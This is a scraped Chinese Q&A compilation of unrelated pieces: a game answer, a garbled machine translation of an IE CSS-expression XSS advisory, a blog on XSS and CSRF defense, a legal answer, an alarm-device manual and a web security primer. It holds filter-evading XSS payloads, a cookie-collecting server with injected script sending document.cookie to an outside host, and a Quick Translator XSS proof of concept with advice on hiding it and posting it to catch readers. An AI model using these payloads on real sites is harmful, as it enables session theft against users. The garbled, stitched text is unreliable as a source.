《艾尔登法环》在ps5平台的表现如何？
艾尔登法环这部游戏的表现是非常不错的，可以看到这部游戏在界面上特别清晰，而且也特别流畅，不会出现卡顿的现象，而且体验感也十分足。
日文翻译大师请进!
(可能不太准确我是用软件翻译的)
概要:
Internet Explorer(以下IE) 那么是"expression(算式)因为说",并且包括述所以能在JavaScript在样式座席里述する。但是因为这个expression这个的?的検出范囲广阔所以JavaScript被在超过Web应用程序开発者的估计的范囲执行,并且,在IE,有成为XSS的事的原因。为此,Web应用程序开発者必须密切注意检查样式席。
确认被玩了的版本：
Internet Explorer 6
Internet Explorer 7 RC1
详细：
在IE,能让因为用如下样式述する所以在JavaScript做收成。
1) 在style块中的定？
styleinput { left:expression( alert('xss') ) } /style
2) 在界内系统的样式定？
div style="{ left:expression( alert('xss') ) }"
3) 评语的插入
div style="{ left:exp/* */ression( alert('xss') ) }"
4) 在反斜线的电码点数指定
div style="{ left:/0065/0078pression( alert('xss') ) }"
5) 本质参照
在界内系统的样式定能那么利用本质参照。
div style="{ left:expression( alert('xss') ) }"
6) 全角文字
div style="{ left:expression( alert('xss') ) }"
7) 特定的Unicode文字
div style="{ left:expRessioN( alert('xss') ) }"
至于R,U+0280,N能利用U+0274或者U+207F。
上边||1)？ ？ 7) 让は互相看,表面能做。
另外,||6) 叫7) 在は,IE7 RC1,不做收成。
被假定,并且是威：
攻击者自己在Web邮件以及样式席的指定可能的blog决定插入好象作为上?的样式,并且钻过想要查出"expression"的XSS防御的过滤器,并且变得能脱落。
経：
本案不是直接IE的脆弱性,但是在XSS因する的安全上边的||和点数判断,并且仁慈根据安全早期小心地合股指导,并且在通过IPA作为开発者的微软拿??了,并且得到了以下的评语。
--
确在弊社开発部做了||果,本现象||在点数的Internet Explorer的式样上边的||是收成,并且当不正确的时候被脆弱判断了。
为此,必要有??被收成书在Web网站上发生,并且〓エヒ,アリメェモミ??アサハユウノハ鰆レ」ラ」萤篑蒦セノマキ「ノ〓イ「ヌメ紊乱リ在合进行在网站?的过虑。
--
制品开発者が脆弱性ではないと明言していること、実际にこのデザインを原因とするXSSが存在するWebアプリケーションを复数确认したこと、「适切なフィルタリング」のためにはWebアプリケーション开発者への広い通知が必要なことから、本问题を公开するべきだと判断しました。
select多路复用，多个客户端同时发送数据时会有干扰吗，服务器端怎么处理？
有的。
-Xss：每个线程的Stack大小，而更佳值应该是128K,默认值好像是512k。
-XX:PermSize：设定内存的永久保存区初始大小，缺省值为64M。
前端安全方面有没有了解？xss和csrf如何攻防
在那个年代，大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用，于是 SQL 注入成了很流行的攻击方式。在这个年代， 参数化查询 已经成了普遍用法，我们已经离 SQL 注入很远了。但是，历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了，所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤，我一定会在模板输出时候全部转义。所以个人感觉，要避免 XSS 也是很容易的，重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ，于是找了些资料了解了一下，并与 XSS 放在一起做个比较。
XSS：脚本中的不速之客
XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 script type="text/javascript"/script 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制，只能访问当前域名下的 URL，所谓不能“跨域”问题。这种做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是总是有用，正如上面的注入代码，用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下，我还能用 iframe 发起 POST 请求。当然，现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截，例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功，何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将，我们也不应该把事关安全性的责任推脱给浏览器，所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的，这点对于 Web 开发者应该是常识。
正如上文所说，如果我们不需要用户输入 HTML 而只想让他们输入纯文本，那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点，Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们，我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数，Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎，那么其必自带了方便快捷的转义方式。
真正麻烦的是，在一些场合我们要允许用户输入 HTML，又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙，但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的，任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况，我个人更倾向于使用简单的 *** 处理，简单的 *** 就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构，但我们并不将这些数据直接存入数据库，而是使用 HTML 解析库遍历节点，获取其中数据（之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性）。然后根据用户原有的标签属性，重新构建 HTML 元素树。构建的过程中，所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别（前面说了 HTML 不同于 XML，要求有很强的容错性），那么它不会成为漏网之鱼，因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树，我们可以拍胸脯保证——所有的标签、属性都来自白名单，一定不会遗漏。
现在看来，大多数 Web 开发者都了解 XSS 并知道如何防范，往往大型的 XSS 攻击（包括前段时间新浪微博的 XSS 注入）都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中，开启（或不要关闭）类似 Django Template、Jinja2 中“默认转义”（Auto Escape）的功能。在不需要转义的场合，我们可以用类似 的方式取消转义。这种白名单式的做法，有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域，是富 AJAX 类应用（例如豆瓣网的阿尔法城）。这类应用的风险并不集中在 HTTP 的静态响应内容，所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域，开发者不得不自己打开危险的大门。这种情况下，站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包（似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试），但我都没试用过，故不予评价。不管怎么说，我认为从用户输入的地方把好关总是成本更低而又最有效的做法。
CSRF：冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别，后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”，而 XSS 的全称是“跨站脚本”。看起来有点相似，它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户，但前面说了，它们的攻击类型是不同维度上的分 类。CSRF 顾名思义，是伪造请求，冒充用户在站内的正常操作。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，更好的 *** 是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。
严格意义上来说，CSRF 不能分类为注入攻击，因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌，但对于设计不佳的网站，一条正常的链接都能造成 CSRF。
例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 *** 把发贴内容拼接成目标 URL 并访问：
http://example.com/bbs/create_post.php?title=标题content=内容
那么，我只需要在论坛中发一帖，包含一链接：
http://example.com/bbs/create_post.php?title=我是脑残content=哈哈
只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题，我们是否可以效仿上文应对 XSS 的做法呢？过滤用户输入， 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用，但阻挡不了 CSRF，因为攻击者可以通过 *** 或其他网站把这个链接发布上去，为了伪装可能还使用 bit.ly 压缩一下网址，这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ，我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入，因为它并不属于注入攻击，而是请求伪造。被伪造的请求可以是任何来源，而非一定是站内。所以我们唯有一条路可行，就是过滤请求的 处理者。
比较头痛的是，因为请求可以从任何一方发起，而发起请求的方式多种多样，可以通过 iframe、ajax（这个不能跨域，得先 XSS）、Flash 内部发起请求（总是个大隐患）。由于几乎没有彻底杜绝 CSRF 的方式，我们一般的做法，是以各种方式提高攻击的门槛。
首先可以提高的一个门槛，就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作，应该只接受 POST 请求，而 GET 请求应该只浏览而不改变服务器端资源。当然，最理想的做法是使用 REST 风格 的 API 设计，GET、POST、PUT、DELETE 四种请求 *** 对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求 *** ，我们可以使用 ajax 提交请求（例如通过 jquery-form 插件，我最喜欢的做法），也可以使用隐藏域指定请求 *** ，然后用 POST 模拟 PUT 和 DELETE （Ruby on Rails 的做法）。这么一来，不同的资源操作区分的非常清楚，我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了，但他们仍可以发布表单，或者在其他站点上使用我们肉眼不可见的表单，在后台用 js 操作，伪造请求。
接下来我们就可以用比较简单也比较有效的 *** 来防御 CSRF，这个 *** 就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生，“请求令牌”和“同步令牌”原理是一样的，只不过目的不同，后者是为了解决 POST 请求重复提交问题，前者是为了保证收到的请求一定来自预期的页面。实现 *** 非常简单，首先服务器端要以某种策略生成随机字符串，作为令牌（token）， 保存在 Session 里。然后在发出请求的页面，把该令牌以隐藏域一类的形式，与其他信息一并发出。在接收请求的页面，把接收到的信息中的令牌与 Session 中的令牌比较，只有一致的时候才处理请求，否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单，但并非不可破解，使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意：
虽然请求令牌原理和验证码有相似之处，但不应该像验证码一样，全局使用一个 Session Key。因为请求令牌的 *** 在理论上是可破解的，破解方式是解析来源页面的文本，获取令牌内容。如果全局使用一个 Session Key，那么危险系数会上升。原则上来说，每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候，可以稍加封装，编写一个令牌工具包，将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合，因为很有请求是 JavaScript 发起的，使用静态的模版输出令牌值或多或少有些不方便。但无论如何，请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门，却又把钥匙放在门口，让我们的请求令牌退化为同步令牌。
之一点说了请求令牌理论上是可破解的，所以非常重要的场合，应该考虑使用验证码（令牌的一种升级，目前来看破解难度极大），或者要求用户再次输入密码（亚马逊、 *** 的做法）。但这两种方式用户体验都不好，所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码，服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题，验证码用完并未销毁，故只要获取一次验证码图片，其中的验证码可以在多次请求中使用（只要不再次刷新验证码图片），一直用到 Session 超时。这也是为何选课系统加了验证码，外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF，其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面：referer 是在 HTTP Request Head 里面的，也就是由请求的发送者决定的。如果我喜欢，可以给 referer 任何值。当然这个做法并不是毫无作用，起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接：这个是最无效的做法，因为首先攻击者不一定要从站内发起请求（上面提到过了），而且就算从站内发起请求，途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择，还不需要用户去点击，只要用户的浏览器会自动加载图片，就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户：这个 *** 看上去能干扰站外通过 iframe 发起的 CSRF，但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑，或者干脆脱离 iframe，使用 Flash 来达到目的。
总体来说，目前防御 CSRF 的诸多 *** 还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章，一般都会含有“ *** ”二字来形容（另一位有该名号的貌似是 DDOS 攻击）。作为开发者，我们能做的就是尽量提高破解难度。当破解难度达到一定程度，网站就逼近于绝对安全的位置了（虽然不能到达）。上述请求令牌 *** ，就我 认为是最有可扩展性的，因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说，伪造的请求和正常的请求本质上是一致的。而请求令牌的 *** ，则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作，例如让页面中 token 的 key 动态化，进一步提高攻击者的门槛。本文只是我个人认识的一个总结，便不讨论过深了。
在别人的站点中传播含有XSS攻击的网址，犯法吗？如果有，说下相关的法律．谢谢！！
犯法的，依据是刑法第286条之一、三款之规定：
第二百八十六条(破坏计算机信息系统罪)违反国家规定，对计算机信息系统功能进行删除、修改、增加、干扰，造成计算机信息系统不能正常运行，后果严重的，处五年以下有期徒刑或者拘役
；后果特别严重的，处五年以上有期徒刑。
违反国家规定，对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作，后果严重的，依照前款的规定处罚。
故意 *** 、传播计算机病毒等破坏性程序，影响计算机系统正常运行，后果严重的，依照之一款的规定处罚。
谁知道xxs-01b.2b型闪光报警器咋用,线路咋接
XXS-201型单回路闪光报警仪为盘式拼装结构，光子牌显示，与外接电铃（或音响器），电源及控制按钮组成闪光报警仪系统。该仪表与输入信号为电接点式，在工业自动化控制系统中与各种接点式控制检测仪表配套使用监视各种设备运行状态，实现越限报警。
XXS-201型单回路闪光报警仪，集国内外同类产品之优点，根据石油、化工、电力、冶金、轻工等部门建议和要求而进行优化设计的新型产品，线路采用长寿命，低工耗高抗干扰能力的CMOS集成电路。闪光器件采用高亮度发光二极管作光源，具有光线柔和、醒目、功耗低、寿命长，是目前较理想的发光器件。代替了原来传统的白炽灯泡。
电路设计新颖，当无故障信号输入时（电接点在正常状态下），单元处于断电待命状态，不损功耗，保证了在正常状态下不会发生误报警，大大的增加了系统的抗干扰能力。
XXS-201型单回路闪光报警仪，与目前国内生产和使用的同类仪表相比具有显示醒目，结构新颖，可靠性强，安装方便，节能省电等优点。根据电厂现场的建议而改进的内部电路更趋合理，外型愈加美观的新产品。此产品推出后受到广大用户及设计人员的普遍欢迎和广泛选用。
二、主要技术指标：
1、报警仪输入路数：每台一路；
2、输入信号：常开接点或常闭接点；
3、输入回路电阻：≤75Ω；
4、报警显示：平面发光块（红色、黄色或绿色）发光二极管（红色、黄色或绿色）；也可是白炽灯泡；
5、报警输出：
①接点输出：接点容量AC220V/1A，可接24V电铃或本厂生产的XXS-24、XXS-48、XXS-220音响器及电铃音响器XXS-24A。
② 电平输出：输出直流电平4.8~5.2V,可接本厂生产的XXS-24、XXS-48、XXS-220音响器及电铃音响器XXS-24A。
6、电源：DC24V ±15%。（XXS-201A、B、C、D）。AC220V±10%50Hz（XXS-201E、F）
7、环境条件:
（1）湿度范围 0℃~+55℃
（2）相对湿度 ≤85%
8、报警方式：光字牌显示，灯光闪烁，闪光频率每秒0.5~1Hz。同时，外接音响器发出音响声。一分钟后自动转为平光，音响停止。或用手动确认后停止。
9、消耗功率：报警时 ＜ 1.2W
未报警时 ≤0.1W
三、报警工作状态：
1、A：输入为常开方式（闭合有效）时报警仪工作状态如下表：
外接信号输入状态 信号灯状态 表示状态 输出状态
1号端子低（无信号） 不亮 正常 低电平/断
1号端子高（有信号） 闪光 故障 高电平/通
4号端子高（+24V） 平光 故障确认 低电平/断
2号端子高（+24V） 闪光 自动测试 高电平/通
说明：
①信号灯闪亮一分钟后自动转为平光，表示确认有故障
②输出状态指报警仪端子3有高电平信号状态和端子7、8的通、
断状况。可驱动不同种类的音响器。也可以另种方式输出7、8
端子的通、断与输入信号同步。
③2号端子为动试端T，该端保持为高时，信号灯闪亮一分钟后
自动转为平光，测试即可结束。
④4号端子为确认端C，该端为高时可使闪亮的信号灯立即转
为平光。
B：输入为常闭点（断开有效）时报警仪工作状态如下表
外接信号输入状态 信号灯状态 表示状态 输出状态
1号端子低（有信号） 闪亮 故障 高电平/通
1号端子高（无信号） 不亮 正常 低电平/断
4号端子为高（+24V） 平光 故障确认 低电平/断
2号端子为高（+24V） 闪亮 自动测试 高电平/通
说明：当用户需要使用常开或常闭作为通常状态时，从表盘上将表芯取出，但壳体不要拆下。具体步骤如下：将报警仪后面上、下对角线螺钉及端子线松开，即可从前面抽出表芯。（参阅元件位置图7）
常开输入：IMS的AC（A'C'）接通 CB（C'B'）断开;1号端子由低(0V)变高(+24V),表示有故障信号.
常闭输入:IMS的A'C'断开 CB（C'B'）接通;1号端子由高(+24V)变低(0V),表示有故障信号.
厂方一般设定为常开输入方式.
2.工作时间:
报警仪由单台及多台并联使用,当故障信号接点闭合时,主电路进入工作状态,故障指示灯L开始以0.5秒~1秒闪光,同时继电器J 吸合,接通外电路发出声响.
3.故障确认分两种情况:
(1) 自动确认:无需人工干予.经过约60秒闪光,消除声响.转为平光.
(2)手动确认:只有人工掀下C 确认按钮时,消除音响,闪光才转入平光,且消除声响.
4.实验状态: 该状态为检查报警仪本身功能而设置,当揿下T动按钮时,多台并联的所有报警仪的灯都闪光,同时公用声响有声响.掀一下确认C时按钮，即转入确认状态.放开T动试按钮,立即恢复正常待命状态.★T动试按钮，请选用交替型自锁按钮；C确认按钮，请选用瞬时型普通按钮。
程序员需要具备哪些东西？
程序员必须要了解的web安全
1.简述
互联网本来是安全的，自从有了研究安全的人之后，互联网就变得不安全了。
1.1什么是安全？
字典的解释是指没有受到威胁、没有危险、危害、损失。
1.2什么情况下会产生安全问题？
类似我们在机场，火车站里面，乘客开始上车之前，都会有一个必要的程序：安全检查。如果没有安全检查我们就会产生我们所谓的安全问题。在安全检查中我们会检查乘客身上是否携带了打火机，可燃液体等危险物品。
从上面我们看出为什么我们会有安全检查呢？归根结底还是信任问题。因为我们的信任关系被破坏，从而产生了安全问题。
1.3怎么进行有效的安全评估？
一个安全评估过程，可以简单地划分为4个阶段：资产等级划分，威胁分析，风险分析，确认解决方案。
资产等级划分：明确我们目标是什么，要保护什么。互联网安全的核心问题，其实是数据安全问题。用户的数据也就是我们需要保护的。
威胁分析：找到所有可能造成危害的来源，一般采用头脑风暴列举所有的情况。
风险分析：预估造成的损失大小。
确认解决安全方案：安全评估的产出物，就是确认安全解决方案。解决方案一定要有针对性，这种针对性是由资产等级划分，威胁分析，风险分析，确认解决方案。
2.浏览器安全
近年来随着互联网的发展，人们发现浏览器才是互联网更大的入口，绝大多数用户使用互联网的工具是浏览器。因此浏览器市场的竞争也日趋白热化。浏览器安全在这种激烈竞争的环境中被越来越多的人所重视。
2.1同源策略
浏览器的安全都是以同源为基础，它是浏览器最核心也最基本的安全功能，如果缺少了同源策略，则浏览器的正常功能可能都会受到影响。
浏览器的同源策略，限制了来自不同源的“document”或脚本，对当前"document"读取或设置某些属性。
这一策略很重要，试想一下如果没有同源策略，可能 *** 的一段 *** 脚本，在b.com未曾加载此脚本时，也可以随意涂改b.com的页面。为了不让浏览器的页面行为发生混乱，浏览器提出了“Origin”这一概念，来自不同Origin的对象无法互相干扰。
影响“源”的因素有：host,子域名，端口，协议。
2.2恶意网址拦截
恶意网址拦截的工作原理很简单，一般都是浏览器周期性地从服务器端获取一份最新的恶意网址黑名单，如果用户上网时访问的网址存在于此黑名单中，浏览器就会弹出一个警告页面。
3.跨站脚本攻击
跨站脚本攻击(XSS)是客户端脚本安全中的头号大敌。
XSS：跨站脚本攻击，英文名称是Cross Site Script，本来缩写是CSS，为了和层叠样式的CSS有所区别，所以在安全领域叫“XSS”。
3.1XSS攻击
XSS攻击，通常指黑客通过“HTML注入”篡改可网页，插入了恶意的脚本，从而在用户浏览网页时，控制用户浏览器的一种攻击。举个例子：某个黑客发表了一篇文章其中包含了恶意的 *** 代码，所有访问这篇文章的人都会执行这段 *** 代码，这样就完成XSS攻击。
3.2反射型XSS
反射型XSS只是简单地把用户输入的数据反射给浏览器。也就是说，黑客往往需要引诱用户点击一个而已连接，才能攻击成功
3.3存储型XSS
存储型会把用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性。黑客把恶意的脚本保存到用户的服务器端，所以这种攻击就是存储型，理论上来说，它存在的时间是比较长的。
3.4 XSS的防御
XSS的防御是复杂的。
3.4.1 HttpOnly
HttpOnly最早是由微软提出，并在IE6中实现的，至今已经逐渐成为了一个标准。浏览器将禁止页面的 *** 访问带有HttpOnly属性的Cookie。
其实严格地说，HttpOnly并非为了对抗XSS——HttpOnly解决的是XSS后的Cookie劫持攻击。HttpOnly现在已经基本支持各种浏览器，但是HttpOnly只是有助于缓解XSS攻击，但仍然需要其他能够解决XSS漏洞的方案。
3.4.2 输入检查
在XSS的防御上，输入检查一般是检查用户输入的数据中是否包含一些特殊字符，如,等等。如果发现这些字符，则将字符过滤或者编码。这种输入检查的方式，可以叫“XSS Filter”。互联网上于很多开源的“XSS Filter”的实现。
XSS Filter在用户提交数据时获取变量，并进行XSS检查；但此时用户数据并没有结合渲染页面的HTML代码，因此XSS Filter对语境的理解并不完整。甚至有可能用户输入13，直接会把符号给过滤掉，所以一个好的XSSFilter是比较重要的。
3.4.3输出检查
一般来说，除了富文本的书除外，在变量输出到HTML页面时，可以使用编码火转移的方式来防御XSS攻击。和输入检查差不多。
火狐xsseb插件怎么使用？
Quick Translator对谷歌翻译返回未经过滤直接输出，导致XSS
不知道什么原因，直接翻译script标签是不行的，所以需要借助img等其他标签。Quick Translator默认设置为检测语言，而谷歌翻将英文翻译成中文时会将引号转换为全角，并在其他符号后面加空格，所以需要加上一些中文字符让谷歌翻译认为提交的是中文。
说了这么多，看个例子吧，以下代码用Quick Translator翻译从中文翻译到英文会弹框（右键翻译和在对话框输入是一样的）。
img src='#' alt='中文中文中文中文中文中文中文中文中文中文中文中文中文中文中文' onerror='javascript：alert(document.domain)'/
由于没有人会憨厚到选中代码翻译，所以需要将这段代码隐藏起来，同时不影响选中。仿照论坛复制干扰码，将其进行html转义后放在一个指定文字大小为0px的span中;同时，由于实际触发点位于右下角翻译结果处，为了隐藏图片需要给图片加上display:none样式;最后，将这段代码插在一段很少有人认识的语言中，例如الاشتراكية جيدة ，使得别人可能会去翻译这句话。
最后的poc如下：
الاشتراكية جيدة span style="font-size:0px;"img src='#' alt='中文中文中文中文中文中文中文中文中文中文中文中文中文中文中文中文中文中文中文' style='display:none' onerror='javascript：alert(document.domain)'/span الاشتراكية جيدة br
可以在某些公共博客、论坛之类发个吸引人的帖子，然后引用一段官方的“原话”作为证据（选个较为少见的语种，比如德语意大利语之类），并在其中插入代码。
例子：躺中枪的某程序猿博客
要是以“nodejs进阶技巧”等热点技术发个帖，并在资料引用处插入poc，会有多少人中招？
修复方案：
prexmpxxx/xmp/pre